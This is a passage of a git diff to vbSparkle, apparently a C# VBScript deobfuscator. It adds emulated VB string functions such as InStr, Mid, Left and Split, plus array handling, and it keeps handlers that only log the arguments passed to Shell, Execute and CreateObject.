delimiter if provided + if (args.Length > 1 && !Converter.TryGetStringValue(args[1], out delimiter)) + { + delimiter = " "; // Default to space if conversion fails + } + + // Retrieve the limit if provided + if (args.Length > 2 && !Converter.TryGetInt32Value(args[2], out limit)) + { + limit = -1; // Default to no limit if conversion fails + } + + // Retrieve the comparison type if provided + if (args.Length > 3 && !Converter.TryGetInt32Value(args[3], out compare)) + { + compare = 0; // Default to binary compare if conversion fails + } + + // Adjust the expression and delimiter for case-insensitive comparison if necessary + if (compare == 1) // Text comparison + { + expression = expression.ToLowerInvariant(); + delimiter = delimiter.ToLowerInvariant(); + } + + // Split the string + string[] resultArray = limit > 0 + ? expression.Split(new string[] { delimiter }, limit, StringSplitOptions.None) + : expression.Split(new string[] { delimiter }, StringSplitOptions.None); + + // Convert the result into a DArrayExpression + List resultExpressions = new List(); + foreach (var item in resultArray) + { + resultExpressions.Add(new DSimpleStringExpression(item, Encoding.Unicode, Context.Options)); + } + + return new DArrayExpression(resultExpressions); + } + catch (Exception ex) + { + return DefaultExpression(args); + } + } + } + + + + public class VB_CreateObject + : VbNativeFunction + { + public VB_CreateObject(IVBScopeObject context) + : base(context, "CreateObject") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + DExpression arg1 = args.FirstOrDefault(); + + string strArg; + + if (!Converter.TryGetStringValue(arg1, out strArg)) + { + return DefaultExpression(args); + } + + if (Context?.Options?.CreateObjectObserver != null) + { + Context.Options.CreateObjectObserver.CreateObjectObserved.Add(strArg.Replace("\"\"", "\"")); + } + + return DefaultExpression(args); + } + } + + public class VB_Shell + : VbNativeFunction + { + public VB_Shell(IVBScopeObject context) + : base(context, "Shell") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + DExpression arg1 = args.FirstOrDefault(); + + string strArg; + + if (!Converter.TryGetStringValue(arg1, out strArg)) + { + return DefaultExpression(args); + } + + if (Context?.Options?.ShellObserver != null) + { + Context.Options.ShellObserver.ShellObserved.Add(strArg.Replace("\"\"", "\"")); + } + + return DefaultExpression(args); + } + } + + public class VB_Execute + : VbNativeFunction + { + public VB_Execute(IVBScopeObject context) + : base(context, "Execute") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + DExpression arg1 = args.FirstOrDefault(); + + string strArg; + + if (!Converter.TryGetStringValue(arg1, out strArg)) + { + return DefaultExpression(args); + } + + if (Context?.Options?.ExecuteObserver != null) + { + Context.Options.ExecuteObserver.VBScriptExecuted.Add(strArg.Replace("\"\"", "\"")); + } + + return DefaultExpression(args); + } + } + + public class VB_Replace + : VbNativeFunction + { + public VB_Replace(IVBScopeObject context) + : base(context, "Replace") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + if (args.Length < 3) + throw new Exception(); + + DExpression exp = args[0]; + DExpression findExp = args[1]; + DExpression replExp = args[2]; + + string expStr; + string findStr; + string replStr; + + if (!Converter.TryGetStringValue(exp, out expStr)) + return DefaultExpression(args); + if (!Converter.TryGetStringValue(findExp, out findStr)) + return DefaultExpression(args); + if (!Converter.TryGetStringValue(replExp, out replStr)) + return DefaultExpression(args); + + if (args.Length > 3) + { + DExpression startExp = args[3]; + } + + if (args.Length > 4) + { + DExpression countExp = args[4]; + } + + if (args.Length > 5) + { + DExpression compareExp = args[5]; + } + + string str = findStr.Equals(replStr) ? expStr : expStr.Replace(findStr, replStr); + + return new DSimpleStringExpression(str, Encoding.Unicode, Context.Options); + } + + } + + public class VB_Mid_S + : VB_Mid + { + public VB_Mid_S(IVBScopeObject context) + : base(context, "Mid$") + { + } + } + + public class VB_InStr : VbNativeFunction + { + public VB_InStr(IVBScopeObject context) + : base(context, "InStr") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + int start = 1; + string string1, string2; + StringComparison comparisonType = StringComparison.Ordinal; + + // If 4 arguments are passed, the first is the start position and the last is the comparison type + if (args.Length == 4) + { + if (!Converter.TryGetInt32Value(args[0], out start)) + { + return DefaultExpression(args); + } + + if (!Converter.TryGetStringValue(args[1], out string1) || + !Converter.TryGetStringValue(args[2], out string2)) + { + return DefaultExpression(args); + } + + if (!Converter.TryGetInt32Value(args[3], out int comparisonMode)) + { + return DefaultExpression(args); + } + + // Set the comparison type + comparisonType = comparisonMode == 1 ? StringComparison.OrdinalIgnoreCase : StringComparison.Ordinal; + } + // If 3 arguments are passed, the first can be start or comparison type based on their type + else if (args.Length == 3) + { + if (args[0] is DMathExpression) + { + if (!Converter.TryGetInt32Value(args[0], out start)) + { + return DefaultExpression(args); + } + + if (!Converter.TryGetStringValue(args[1], out string1) || + !Converter.TryGetStringValue(args[2], out string2)) + { + return DefaultExpression(args); + } + } + else + { + if (!Converter.TryGetStringValue(args[0], out string1) || + !Converter.TryGetStringValue(args[1], out string2)) + { + return DefaultExpression(args); + } + + if (!Converter.TryGetInt32Value(args[2], out int comparisonMode)) + { + return DefaultExpression(args); + } + + comparisonType = comparisonMode == 1 ? StringComparison.OrdinalIgnoreCase : StringComparison.Ordinal; + } + } + // If 2 arguments are passed, they are the strings to compare + else if (args.Length == 2) + { + if (!Converter.TryGetStringValue(args[0], out string1) || + !Converter.TryGetStringValue(args[1], out string2)) + { + return DefaultExpression(args); + } + } + else + { + return DefaultExpression(args); + } + + // Adjust for 1-based index + start = start - 1; + + // Perform the search + int position = string1.IndexOf(string2, start, comparisonType); + + // Convert the result back to 1-based index + position = position == -1 ? 0 : position + 1; + + return new DMathExpression(position) { HasSideEffet = false }; + } + } + + public class VB_InStrB : VbNativeFunction + { + public VB_InStrB(IVBScopeObject context) + : base(context, "InStrB") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + int startByte = 1; + string string1, string2; + StringComparison comparisonType = StringComparison.Ordinal; + + // Convert strings to byte arrays using Unicode encoding + byte[] byteArray1, byteArray2; + + // If 4 arguments are passed, the first is the start byte position and the last is the comparison type + if (args.Length == 4) + { + if (!Converter.TryGetInt32Value(args[0], out startByte)) + { + return DefaultExpression(args); + } + + if (!Converter.TryGetStringValue(args[1], out string1) || + !Converter.TryGetStringValue(args[2], out string2)) + { + return DefaultExpression(args); + } + + if (!Converter.TryGetInt32Value(args[3], out int comparisonMode)) + { + return DefaultExpression(args); + } + + // Set the comparison type + comparisonType = comparisonMode == 1 ? StringComparison.OrdinalIgnoreCase : StringComparison.Ordinal; + } + // If 3 arguments are passed, the first can be start byte position or comparison type based on their type + else if (args.Length == 3) + { + if (args[0] is DMathExpression) + { + if (!Converter.TryGetInt32Value(args[0], out startByte)) + { + return DefaultExpression(args); + } + + if (!Converter.TryGetStringValue(args[1], out string1) || + !Converter.TryGetStringValue(args[2], out string2)) + { + return DefaultExpression(args); + } + } + else + { + if (!Converter.TryGetStringValue(args[0], out string1) || + !Converter.TryGetStringValue(args[1], out string2)) + { + return DefaultExpression(args); + } + + if (!Converter.TryGetInt32Value(args[2], out int comparisonMode)) + { + return DefaultExpression(args); + } + + comparisonType = comparisonMode == 1 ? StringComparison.OrdinalIgnoreCase : StringComparison.Ordinal; + } + } + // If 2 arguments are passed, they are the strings to compare + else if (args.Length == 2) + { + if (!Converter.TryGetStringValue(args[0], out string1) || + !Converter.TryGetStringValue(args[1], out string2)) + { + return DefaultExpression(args); + } + } + else + { + return DefaultExpression(args); + } + + // Convert strings to byte arrays + byteArray1 = Encoding.Unicode.GetBytes(string1); + byteArray2 = Encoding.Unicode.GetBytes(string2); + + // Adjust for 1-based index (convert to 0-based) + startByte = (startByte - 1) / 2; // Dividing by 2 because each character is 2 bytes in Unicode + + + // Perform the search within the byte array + int bytePosition = IndexOfByteArray(byteArray1, byteArray2, startByte); + + // Convert the result back to 1-based index + bytePosition = bytePosition == -1 ? 0 : bytePosition + 1; + + return new DMathExpression(bytePosition) { HasSideEffet = false }; + } + + private int IndexOfByteArray(byte[] byteArray1, byte[] byteArray2, int startByte) + { + for (int i = startByte; i <= byteArray1.Length - byteArray2.Length; i++) + { + bool match = true; + for (int j = 0; j < byteArray2.Length; j++) + { + if (byteArray1[i + j] != byteArray2[j]) + { + match = false; + break; + } + } + if (match) return i; + } + return -1; + } + } + + public class VB_InStrRev : VbNativeFunction + { + public VB_InStrRev(IVBScopeObject context) + : base(context, "InStrRev") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + string string1, string2; + int start = -1; // Start position defaults to the end of the string + StringComparison comparisonType = StringComparison.Ordinal; + + // If 4 arguments are passed, the first is the string, second is the substring, third is start, and fourth is comparison mode + if (args.Length == 4) + { + if (!Converter.TryGetStringValue(args[0], out string1) || + !Converter.TryGetStringValue(args[1], out string2)) + { + return DefaultExpression(args); + } + + if (!Converter.TryGetInt32Value(args[2], out start)) + { + return DefaultExpression(args); + } + + if (!Converter.TryGetInt32Value(args[3], out int comparisonMode)) + { + return DefaultExpression(args); + } + + // Set the comparison type + comparisonType = comparisonMode == 1 ? StringComparison.OrdinalIgnoreCase : StringComparison.Ordinal; + } + // If 3 arguments are passed, they can be the strings and start position, or strings and comparison mode + else if (args.Length == 3) + { + if (args[2] is DMathExpression) + { + if (!Converter.TryGetStringValue(args[0], out string1) || + !Converter.TryGetStringValue(args[1], out string2) || + !Converter.TryGetInt32Value(args[2], out start)) + { + return DefaultExpression(args); + } + } + else + { + if (!Converter.TryGetStringValue(args[0], out string1) || + !Converter.TryGetStringValue(args[1], out string2)) + { + return DefaultExpression(args); + } + + if (!Converter.TryGetInt32Value(args[2], out int comparisonMode)) + { + return DefaultExpression(args); + } + + comparisonType = comparisonMode == 1 ? StringComparison.OrdinalIgnoreCase : StringComparison.Ordinal; + } + } + // If 2 arguments are passed, they are the strings to compare + else if (args.Length == 2) + { + if (!Converter.TryGetStringValue(args[0], out string1) || + !Converter.TryGetStringValue(args[1], out string2)) + { + return DefaultExpression(args); + } + } + else + { + return DefaultExpression(args); + } + + // If start is not provided, or if it's set to -1, it means start from the end of the string + if (start == -1 || start > string1.Length) + { + start = string1.Length; + } + + // Adjust for 1-based index by subtracting 1 (since start in C# is 0-based) + start = start - 1; + + // Perform the reverse search + int position = string1.LastIndexOf(string2, start, comparisonType); + + // Convert the result back to 1-based index + position = position == -1 ? 0 : position + 1; + + return new DMathExpression(position) { HasSideEffet = false }; + } + } + + public class VB_Len : VbNativeFunction + { + public VB_Len(IVBScopeObject context) + : base(context, "Len") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + string strArg; + + // Check if the argument is valid and can be converted to a string + if (!Converter.TryGetStringValue(args[0], out strArg)) + { + return DefaultExpression(args); + } + + // The length in characters is simply the length of the string + int charLength = strArg.Length; + + return new DMathExpression(charLength) { HasSideEffet = false }; + } + } + + public class VB_LenB : VbNativeFunction + { + public VB_LenB(IVBScopeObject context) + : base(context, "LenB") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + string strArg; + + // Check if the argument is valid and can be converted to a string + if (!Converter.TryGetStringValue(args[0], out strArg)) + { + return DefaultExpression(args); + } + + // Convert the string to a byte array using Unicode encoding + byte[] byteArray = Encoding.Unicode.GetBytes(strArg); + + // The length in bytes is simply the length of the byte array + int byteLength = byteArray.Length; + + return new DMathExpression(byteLength) { HasSideEffet = false }; + } + } + + public class VB_Mid : VbNativeFunction + { + public VB_Mid(IVBScopeObject context, string identifier) + : base(context, identifier) + { + } + public VB_Mid(IVBScopeObject context) + : base(context, "Mid") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + string strArg; + int start, length; + + // Check if the first argument (string) is valid + if (!Converter.TryGetStringValue(args[0], out strArg)) + { + return DefaultExpression(args); + } + + // Check if the second argument (start position) is valid + if (!Converter.TryGetInt32Value(args[1], out start)) + { + return DefaultExpression(args); + } + + // Adjust for 1-based index (VB uses 1-based, C# uses 0-based) + start = start - 1; + + // Determine if length argument is provided + if (args.Length > 2 && Converter.TryGetInt32Value(args[2], out length)) + { + // Ensure length does not exceed the remaining string + if (start + length > strArg.Length) + { + length = strArg.Length - start; + } + } + else + { + // If length is not provided, extract to the end of the string + length = strArg.Length - start; + } + + // Check for valid start position and length + if (start < 0 || start >= strArg.Length || length < 0) + { + return new DSimpleStringExpression(string.Empty, Encoding.Unicode, Context.Options); + } + + string result = strArg.Substring(start, length); + return new DSimpleStringExpression(result, Encoding.Unicode, Context.Options); + } + } + + + public class VB_MidB_S + : VB_MidB + { + public VB_MidB_S(IVBScopeObject context) + : base(context, "MidB$") + { + } + } + public class VB_MidB : VbNativeFunction + { + public VB_MidB(IVBScopeObject context, string identifier) + : base(context, identifier) + { + } + + public VB_MidB(IVBScopeObject context) + : base(context, "MidB") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + string strArg; + int startByte, lengthBytes; + + // Check if the first argument (string) is valid + if (!Converter.TryGetStringValue(args[0], out strArg)) + { + return DefaultExpression(args); + } + + // Convert the string to a byte array using the appropriate encoding + byte[] byteArray = Encoding.Unicode.GetBytes(strArg); + + // Check if the second argument (start byte position) is valid + if (!Converter.TryGetInt32Value(args[1], out startByte)) + { + return DefaultExpression(args); + } + + // Adjust for 1-based index (VB uses 1-based, C# uses 0-based) + startByte = startByte - 1; + + // Determine if length argument is provided + if (args.Length > 2 && Converter.TryGetInt32Value(args[2], out lengthBytes)) + { + // Ensure length does not exceed the remaining bytes + if (startByte + lengthBytes > byteArray.Length) + { + lengthBytes = byteArray.Length - startByte; + } + } + else + { + // If length is not provided, extract to the end of the byte array + lengthBytes = byteArray.Length - startByte; + } + + // Check for valid start byte position and length + if (startByte < 0 || startByte >= byteArray.Length || lengthBytes < 0) + { + return new DSimpleStringExpression(string.Empty, Encoding.Unicode, Context.Options); + } + + // Extract the specified byte range + byte[] resultBytes = byteArray.Skip(startByte).Take(lengthBytes).ToArray(); + + // Convert the result back to a string + string result = Encoding.Default.GetString(resultBytes); + return new DSimpleStringExpression(result, Encoding.Unicode, Context.Options); + } + } + + - public class VB_CreateObject - : VbNativeFunction + public class VB_Trim_S + : VB_Trim { - public VB_CreateObject(IVBScopeObject context) - : base(context, "CreateObject") + public VB_Trim_S(IVBScopeObject context) + : base(context, "Trim$") + { + } + } + + + public class VB_LTrim_S + : VB_LTrim + { + public VB_LTrim_S(IVBScopeObject context) + : base(context, "LTrim$") + { + } + } + + public class VB_RTrim_S + : VB_RTrim + { + public VB_RTrim_S(IVBScopeObject context) + : base(context, "RTrim$") + { + } + } + + public class VB_LCase_S + : VB_LCase + { + public VB_LCase_S(IVBScopeObject context) + : base(context, "LCase$") + { + } + } + + public class VB_UCase_S + : VB_UCase + { + public VB_UCase_S(IVBScopeObject context) + : base(context, "UCase$") + { + } + } + + public class VB_LCase + : VbNativeFunction + { + public VB_LCase(IVBScopeObject context, string name) + : base(context, name) + { + } + public VB_LCase(IVBScopeObject context) + : base(context, "LCase") { } @@ -174,24 +1719,23 @@ public override DExpression Evaluate(params DExpression[] args) string strArg; if (!Converter.TryGetStringValue(arg1, out strArg)) - { return DefaultExpression(args); - } - if (Context?.Options?.CreateObjectObserver != null) - { - Context.Options.CreateObjectObserver.CreateObjectObserved.Add(strArg.Replace("\"\"", "\"")); - } - - return DefaultExpression(args); + string str = strArg.ToLowerInvariant(); + return new DSimpleStringExpression(str, Encoding.Unicode, Context.Options); } + } - public class VB_Shell - : VbNativeFunction + public class VB_UCase + : VbNativeFunction { - public VB_Shell(IVBScopeObject context) - : base(context, "Shell") + public VB_UCase(IVBScopeObject context, string name) + : base(context, name) + { + } + public VB_UCase(IVBScopeObject context) + : base(context, "UCase") { } @@ -202,106 +1746,244 @@ public override DExpression Evaluate(params DExpression[] args) string strArg; if (!Converter.TryGetStringValue(arg1, out strArg)) - { return DefaultExpression(args); - } - if (Context?.Options?.ShellObserver != null) - { - Context.Options.ShellObserver.ShellObserved.Add(strArg.Replace("\"\"", "\"")); - } + string str = strArg.ToUpperInvariant(); + return new DSimpleStringExpression(str, Encoding.Unicode, Context.Options); + } - return DefaultExpression(args); + } + + public class VB_Left_S + : VB_Left + { + public VB_Left_S(IVBScopeObject context) + : base(context, "Left$") + { } } - public class VB_Execute - : VbNativeFunction + public class VB_Right_S + : VB_Right { - public VB_Execute(IVBScopeObject context) - : base(context, "Execute") + public VB_Right_S(IVBScopeObject context) + : base(context, "Right$") + { + } + } + + public class VB_Left + : VbNativeFunction + { + public VB_Left(IVBScopeObject context, string name) + : base(context, name) + { + } + public VB_Left(IVBScopeObject context) + : base(context, "Left") { } + public override DExpression Evaluate(params DExpression[] args) { - DExpression arg1 = args.FirstOrDefault(); + try + { + DExpression arg1 = args.FirstOrDefault(); + DExpression arg2 = args[1]; - string strArg; + string strArg; - if (!Converter.TryGetStringValue(arg1, out strArg)) + if (!Converter.TryGetStringValue(arg1, out strArg)) + return DefaultExpression(args); + + int count; + if (!Converter.TryGetInt32Value(arg2, out count)) + return DefaultExpression(args); + + if (count < 0) + return DefaultExpression(args); + + if (count > strArg.Length) + count = strArg.Length; + + string str = strArg.Substring(0, count); + return new DSimpleStringExpression(str, Encoding.Unicode, Context.Options); + } + catch (Exception ex) { return DefaultExpression(args); } + } + } - if (Context?.Options?.ExecuteObserver != null) + public class VB_Right + : VbNativeFunction + { + public VB_Right(IVBScopeObject context, string name) + : base(context, name) + { + } + public VB_Right(IVBScopeObject context) + : base(context, "Right") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + try { - Context.Options.ExecuteObserver.VBScriptExecuted.Add(strArg.Replace("\"\"", "\"")); + DExpression arg1 = args.FirstOrDefault(); + DExpression arg2 = args[1]; + + string strArg; + + if (!Converter.TryGetStringValue(arg1, out strArg)) + return DefaultExpression(args); + + int count; + if (!Converter.TryGetInt32Value(arg2, out count)) + return DefaultExpression(args); + + if (count < 0) + return DefaultExpression(args); + + if (count > strArg.Length) + count = strArg.Length; + + string str = strArg.Substring(strArg.Length - count); + return new DSimpleStringExpression(str, Encoding.Unicode, Context.Options); + } + catch (Exception ex) + { + return DefaultExpression(args); } + } + } - return DefaultExpression(args); + + public class VB_LeftB_S + : VB_LeftB + { + public VB_LeftB_S(IVBScopeObject context) + : base(context, "LeftB$") + { } } - public class VB_Replace - : VbNativeFunction + public class VB_RightB_S + : VB_RightB { - public VB_Replace(IVBScopeObject context) - : base(context, "Replace") + public VB_RightB_S(IVBScopeObject context) + : base(context, "RightB$") + { + } + } + + public class VB_LeftB : VbNativeFunction + { + public VB_LeftB(IVBScopeObject context, string identifier) + : base(context, identifier) + { + } + + public VB_LeftB(IVBScopeObject context) + : base(context, "LeftB") { } public override DExpression Evaluate(params DExpression[] args) { - if (args.Length < 3) - throw new Exception(); + try + { + DExpression arg1 = args.FirstOrDefault(); + DExpression arg2 = args[1]; - DExpression exp = args[0]; - DExpression findExp = args[1]; - DExpression replExp = args[2]; + string strArg; - string expStr; - string findStr; - string replStr; + if (!Converter.TryGetStringValue(arg1, out strArg)) + return DefaultExpression(args); - if (!Converter.TryGetStringValue(exp, out expStr)) - return DefaultExpression(args); - if (!Converter.TryGetStringValue(findExp, out findStr)) - return DefaultExpression(args); - if (!Converter.TryGetStringValue(replExp, out replStr)) - return DefaultExpression(args); + int byteCount; + if (!Converter.TryGetInt32Value(arg2, out byteCount)) + return DefaultExpression(args); - if (args.Length > 3) - { - DExpression startExp = args[3]; - } + if (byteCount < 0) + return DefaultExpression(args); - if (args.Length > 4) + // Convert the string to a byte array using Unicode encoding + byte[] byteArray = Encoding.Unicode.GetBytes(strArg); + + // Ensure the byteCount does not exceed the length of the byte array + if (byteCount > byteArray.Length) + byteCount = byteArray.Length; + + // Extract the specified number of bytes + byte[] resultBytes = byteArray.Take(byteCount).ToArray(); + + // Convert the result back to a string + string result = Encoding.Unicode.GetString(resultBytes); + return new DSimpleStringExpression(result, Encoding.Unicode, Context.Options); + } + catch (Exception ex) { - DExpression countExp = args[4]; + return DefaultExpression(args); } + } + } + public class VB_RightB : VbNativeFunction + { + public VB_RightB(IVBScopeObject context, string identifier) + : base(context, identifier) + { + } - if (args.Length > 5) + public VB_RightB(IVBScopeObject context) + : base(context, "RightB") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + try { - DExpression compareExp = args[5]; - } + DExpression arg1 = args.FirstOrDefault(); + DExpression arg2 = args[1]; - string str = findStr.Equals(replStr) ? expStr : expStr.Replace(findStr, replStr); + string strArg; - return new DSimpleStringExpression(str, Encoding.Unicode, Context.Options); - } + if (!Converter.TryGetStringValue(arg1, out strArg)) + return DefaultExpression(args); - } + int byteCount; + if (!Converter.TryGetInt32Value(arg2, out byteCount)) + return DefaultExpression(args); - public class VB_Trim_S - : VB_Trim - { - public VB_Trim_S(IVBScopeObject context) - : base(context, "Trim$") - { + if (byteCount < 0) + return DefaultExpression(args); + + // Convert the string to a byte array using Unicode encoding + byte[] byteArray = Encoding.Unicode.GetBytes(strArg); + + // Ensure the byteCount does not exceed the length of the byte array + if (byteCount > byteArray.Length) + byteCount = byteArray.Length; + + // Extract the specified number of bytes from the end of the byte array + byte[] resultBytes = byteArray.Skip(byteArray.Length - byteCount).Take(byteCount).ToArray(); + + // Convert the result back to a string + string result = Encoding.Unicode.GetString(resultBytes); + return new DSimpleStringExpression(result, Encoding.Unicode, Context.Options); + } + catch (Exception ex) + { + return DefaultExpression(args); + } } } + public class VB_Trim : VbNativeFunction { @@ -326,7 +2008,58 @@ public override DExpression Evaluate(params DExpression[] args) string str = strArg.Trim(' '); return new DSimpleStringExpression(str, Encoding.Unicode, Context.Options); } + } + + + public class VB_LTrim + : VbNativeFunction + { + public VB_LTrim(IVBScopeObject context, string name) + : base(context, name) + { + } + public VB_LTrim(IVBScopeObject context) + : base(context, "LTrim") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + DExpression arg1 = args.FirstOrDefault(); + + string strArg; + + if (!Converter.TryGetStringValue(arg1, out strArg)) + return DefaultExpression(args); + + string str = strArg.TrimStart(' '); + return new DSimpleStringExpression(str, Encoding.Unicode, Context.Options); + } + } + public class VB_RTrim + : VbNativeFunction + { + public VB_RTrim(IVBScopeObject context, string name) + : base(context, name) + { + } + public VB_RTrim(IVBScopeObject context) + : base(context, "RTrim") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + DExpression arg1 = args.FirstOrDefault(); + + string strArg; + + if (!Converter.TryGetStringValue(arg1, out strArg)) + return DefaultExpression(args); + string str = strArg.TrimEnd(' '); + return new DSimpleStringExpression(str, Encoding.Unicode, Context.Options); + } } public class VB_Space_S : VB_Space @@ -1195,5 +2928,20 @@ internal static bool TryGetBool(DExpression arg1, out bool output) output = false; return false; } + + + public static bool TryGetArrayExpression(DExpression expr, out DArrayExpression arrayExpression) + { + if (expr is DArrayExpression) + { + arrayExpression = (DArrayExpression)expr; + return true; + } + else + { + arrayExpression = null; + return false; + } + } } } diff --git a/Sources/vbSparkle/LanguageStatements/Literals/VbLtDouble.cs b/Sources/vbSparkle/LanguageStatements/Literals/VbLtDouble.cs index db773b7..d4888bb 100644 --- a/Sources/vbSparkle/LanguageStatements/Literals/VbLtDouble.cs +++ b/Sources/vbSparkle/LanguageStatements/Literals/VbLtDouble.cs @@ -8,7 +8,7 @@ public VbLtDouble(IVBScopeObject context, LtDoubleContext @object) : base(context, @object) { string quoted = @object.GetText(); - Value = new DMathExpression(double.Parse(quoted)); + Value = new DMathExpression(double.Parse(quoted.Replace(".",","))); } public override string Prettify() diff --git a/Sources/vbSparkle/LanguageStatements/VbInStatement.cs b/Sources/vbSparkle/LanguageStatements/VbInStatement.cs index ed8b4a5..d9e796d 100644 --- a/Sources/vbSparkle/LanguageStatements/VbInStatement.cs +++ b/Sources/vbSparkle/LanguageStatements/VbInStatement.cs @@ -1,4 +1,7 @@ using System; +using System.Linq; +using vbSparkle.EvaluationObjects; +using vbSparkle.NativeMethods; namespace vbSparkle { @@ -33,6 +36,53 @@ internal void SetValue(DExpression dExpression) { var ide = (Statement as VB_ICS_S_VariableOrProcedureCallStatement).Identifier; Context.SetVarValue(ide, dExpression); + } + else if (Statement is VB_ICS_S_ProcedureOrArrayCallStatement) + { + try + { + var obj = (Statement as VB_ICS_S_ProcedureOrArrayCallStatement); + + if (obj.CallArgs.Count == 1) + { + var callArg = obj.CallArgs[0]; + if (callArg.Count == 1) + { + var arg = callArg[0]; + DExpression exo = arg.ValueStatement.Evaluate(); + + if (exo.IsValuable) + { + int idx; + if (Converter.TryGetInt32Value(exo, out idx)) + { + var ide = obj.Identifier; + var varObj = Context.GetIdentifiedObject(ide); + + if (varObj is VbUserVariable) + { + var arrayVar = (VbUserVariable)varObj; + DExpression supposedArray = arrayVar.CurrentValue; + if (supposedArray is DArrayExpression) + { + var arrayExp = (DArrayExpression)supposedArray; + + if (arrayExp.Items.Count > idx) + { + arrayExp[idx] = dExpression; + } + } + } + } + } + } + } + } + catch (Exception ex) + { + } + //var ide = .Identifier; + //Context.SetVarValue(ide, dExpression); } } diff --git a/Sources/vbSparkle/LanguageStatements/VbVariableStatement.cs b/Sources/vbSparkle/LanguageStatements/VbVariableStatement.cs index 92c7ceb..d83ccd3 100644 --- a/Sources/vbSparkle/LanguageStatements/VbVariableStatement.cs +++ b/Sources/vbSparkle/LanguageStatements/VbVariableStatement.cs @@ -1,6 +1,7 @@ using System.Collections.Generic; using System.Linq; using vbSparkle.EvaluationObjects; +using vbSparkle.NativeMethods; namespace vbSparkle { @@ -28,6 +29,7 @@ public VbVariableStatement(IVBScopeObject context, VBScriptParser.VariableStmtCo variable.WithEvents = WithEvents; context.DeclareVariable(variable); + } } @@ -116,9 +118,27 @@ public VbUserVariable(IVBScopeObject context, VBScriptParser.VariableSubStmtCont if (bloc.LPAREN() != null) { IsArray = true; + + if (Subscripts != null && Subscripts.SubScripts != null) + { + SubscriptsItems = Subscripts.SubScripts; + IsMultidimensional = SubscriptsItems.Length > 1; + + if (IsMultidimensional) + { + IsSimpleArray = false; + } + else + { + IsSimpleArray = SubscriptsItems[0].LBound == null; + SimpleArrayDim = SubscriptsItems[0].UBound; + } + } } + context.DeclareVariable(this); + } //public VbUserVariable(IVBScopeObject context, string identifier) @@ -137,6 +157,10 @@ public VbIdentifiedObject IdentifiedObject get { return Context.GetIdentifiedObject(Identifier); } } + public VbSubScriptStatement[] SubscriptsItems { get; } + public bool IsMultidimensional { get; } + public bool IsSimpleArray { get; } + public VBValueStatement SimpleArrayDim { get; } public override DExpression Prettify(bool partialEvaluation) { @@ -144,7 +168,22 @@ public override DExpression Prettify(bool partialEvaluation) if (IsArray) { - codeBlock += $"({Subscripts.Exp(partialEvaluation)})"; + if (IsSimpleArray) + { + DExpression dimExp = SimpleArrayDim.Evaluate(); + int arrayDim = 0; + if (dimExp.IsValuable) + { + if (Converter.TryGetInt32Value(dimExp, out arrayDim)) + { + this.Context.SetVarValue(this.Identifier, new DArrayExpression(arrayDim)); + } + } + } + + + + codeBlock += $"({Subscripts.Exp(partialEvaluation)})"; } if (IsTypeDefined) diff --git a/Sources/vbSparkle/Objects/NativeObjectManager.cs b/Sources/vbSparkle/Objects/NativeObjectManager.cs index 334acaa..b6b0f01 100644 --- a/Sources/vbSparkle/Objects/NativeObjectManager.cs +++ b/Sources/vbSparkle/Objects/NativeObjectManager.cs @@ -28,6 +28,11 @@ public NativeObjectManager() Add(new VbNativeConstants(this, "vbNullString", new DSimpleStringExpression("", Encoding.Unicode, this.Options))); Add(new VbNativeConstants(this, "vbObjectError", new DMathExpression(-0x7FFC0000))); + Add(new VbNativeConstants(this, "vbUseCompareOption", new DMathExpression(-1))); + Add(new VbNativeConstants(this, "vbBinaryCompare", new DMathExpression(0))); + Add(new VbNativeConstants(this, "vbTextCompare", new DMathExpression(1))); + Add(new VbNativeConstants(this, "vbDatabaseCompare", new DMathExpression(2))); + // Strings Add(new NativeMethods.VB_Chr(this)); Add(new NativeMethods.VB_Chr_S(this)); @@ -46,45 +51,51 @@ public NativeObjectManager() Add(new NativeMethods.VB_MonitoringFunction(this, "FormatDateTime")); // TODO Add(new NativeMethods.VB_MonitoringFunction(this, "FormatNumber")); // TODO Add(new NativeMethods.VB_MonitoringFunction(this, "FormatPercent")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "InStr")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "InStrB")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "InStrRev")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "Join")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "LCase")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "LCase$")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "Left")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "Left$")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "LeftB")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "LeftB$")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "Len")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "LenB")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "LTrim")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "LTrim$")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "Mid")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "Mid$")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "MidB")); // TODO - Add(new NativeMethods.VB_MonitoringFunction(this, "MidB$")); // TODO + + Add(new NativeMethods.VB_InStr(this)); + Add(new NativeMethods.VB_InStrB(this)); + Add(new NativeMethods.VB_InStrRev(this)); + Add(new NativeMethods.VB_LCase(this)); + Add(new NativeMethods.VB_LCase_S(this)); + Add(new NativeMethods.VB_UCase(this)); + Add(new NativeMethods.VB_UCase_S(this)); + Add(new NativeMethods.VB_Len(this)); + Add(new NativeMethods.VB_LenB(this)); + Add(new NativeMethods.VB_Mid(this)); + Add(new NativeMethods.VB_Mid_S(this)); + Add(new 